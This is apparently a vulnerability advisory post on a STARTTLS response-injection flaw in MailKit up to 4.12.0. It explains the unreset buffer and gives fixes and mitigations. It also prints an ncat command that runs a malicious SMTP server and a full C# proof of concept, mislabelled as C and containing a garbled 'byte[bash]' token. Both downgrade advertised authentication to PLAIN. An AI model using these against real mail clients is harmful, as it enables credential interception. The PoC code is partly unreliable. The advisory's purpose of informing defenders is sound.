Listen to this Post
The vulnerability exists because the `Stream` property in SmtpStream, ImapStream, and `Pop3Stream` is an auto-property with no buffer reset when the underlying stream is replaced during a STARTTLS upgrade.
When a client issues STARTTLS, a MITM can inject extra data after the server’s `220 Ready` response. Both the legitimate response and the injected data arrive in the same TCP packet and are stored in a 4096‑byte internal buffer. The `ReadResponse()` method consumes only the `220 Ready` line, leaving the injected data in the buffer.
After the stream is swapped to SslStream, the buffer is not cleared. When the client later sends its first encrypted command (e.g., EHLO), `ReadResponse()` sees that the buffer is not empty and processes the pre‑TLS injected data as if it were a trusted post‑TLS response.
This allows the MITM to alter the server’s capability list, for example by forcing the client to accept only `PLAIN` authentication even though the real server supports SCRAM‑SHA‑256.
The same flawed pattern exists in `ImapClient.cs` (lines 1485‑1509) and Pop3Client.cs.
The root cause is the lack of buffer reset when the stream is replaced; the suggested fix is to reset `inputIndex` and `inputEnd` inside the property setter.
All versions of MailKit up to 4.12.0 are vulnerable.
DailyCVE form
Platform: .NET/MailKit
Version: ≤4.12.0
Vulnerability: STARTTLS Response Injection
Severity: Moderate
date: 2026-04-18
Prediction: Patched in 4.16.0
What Undercode Say:
Check installed MailKit version in a .NET project dotnet list package --outdated | grep MailKit Simulate a malicious SMTP server with injected EHLO response (requires ncat) ncat -l 2525 --sh-exec "echo -e '220 fake ESMTP\r\n250-STARTTLS\r\n250 AUTH SCRAM-SHA-256\r\n' && \ read line && \ echo -e '220 Ready\r\n250-evil.com\r\n250 AUTH PLAIN LOGIN\r\n250 OK\r\n' && \ openssl s_server -accept 2526 -cert fake.crt -key fake.key -quiet"
Exploit:
The following C code creates a fake SMTP server that injects a crafted EHLO response into the STARTTLS reply, downgrading the advertised SASL mechanisms to PLAIN/LOGIN:
using System; using System.Net; using System.Net.Security; using System.Net.Sockets;
using System.Security.Cryptography; using System.Security.Cryptography.X509Certificates;
using System.Text; using System.Threading; using System.Threading.Tasks;
using MailKit.Net.Smtp; using MailKit.Security;
class Exploit {
static void Main() {
using var rsa = RSA.Create(2048);
var req = new CertificateRequest("CN=test", rsa, HashAlgorithmName.SHA256, RSASignaturePadding.Pkcs1);
var cert = new X509Certificate2(req.CreateSelfSigned(DateTimeOffset.UtcNow.AddDays(-1), DateTimeOffset.UtcNow.AddDays(365)).Export(X509ContentType.Pfx));
var listener = new TcpListener(IPAddress.Loopback, 0);
listener.Start();
int port = ((IPEndPoint)listener.LocalEndpoint).Port;
Task.Run(() => {
using var tcp = listener.AcceptTcpClient();
var s = tcp.GetStream();
Send(s, "220 evil.example.com ESMTP\r\n");
Read(s);
Send(s, "250-evil.example.com\r\n250-STARTTLS\r\n250-AUTH SCRAM-SHA-256\r\n250 OK\r\n");
Read(s);
Send(s, "220 Ready\r\n250-evil.example.com\r\n250-AUTH PLAIN LOGIN\r\n250 OK\r\n");
var ssl = new SslStream(s, false);
ssl.AuthenticateAsServer(cert, false, false);
ReadSsl(ssl);
SendSsl(ssl, "250-evil.example.com\r\n250-AUTH SCRAM-SHA-256\r\n250 OK\r\n");
Thread.Sleep(2000);
});
using var client = new SmtpClient();
client.ServerCertificateValidationCallback = (a, b, c, d) => true;
client.Connect("127.0.0.1", port, SecureSocketOptions.StartTls);
Console.WriteLine($"Auth mechanisms: {string.Join(", ", client.AuthenticationMechanisms)}");
client.Disconnect(false); listener.Stop();
}
static void Send(NetworkStream s, string d) => s.Write(Encoding.ASCII.GetBytes(d));
static string Read(NetworkStream s) { var b = new byte[bash]; return Encoding.ASCII.GetString(b, 0, s.Read(b)); }
static void SendSsl(SslStream s, string d) => s.Write(Encoding.ASCII.GetBytes(d));
static string ReadSsl(SslStream s) { var b = new byte[bash]; return Encoding.ASCII.GetString(b, 0, s.Read(b)); }
}
Protection from this CVE
- Upgrade to MailKit 4.16.0 or later.
- Avoid `SecureSocketOptions.StartTls` /
StartTlsWhenAvailable; use `SecureSocketOptions.SslOnConnect` (implicit TLS) where possible. - Apply network‑level mitigations (e.g., enforce TLS on a separate port, block plaintext STARTTLS).
Impact
- A Man‑in‑the‑Middle attacker can inject arbitrary SMTP/IMAP/POP3 responses, downgrading SASL authentication mechanisms (e.g., forcing `PLAIN` instead of
SCRAM‑SHA‑256). - The attacker can manipulate server capabilities, potentially leading to credential disclosure or further protocol‑level attacks.
- All three protocols (SMTP, IMAP, POP3) share the same vulnerable code pattern, making the flaw widely exploitable across any application using the vulnerable MailKit versions.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: github.com
Extra Source Hub:
Undercode

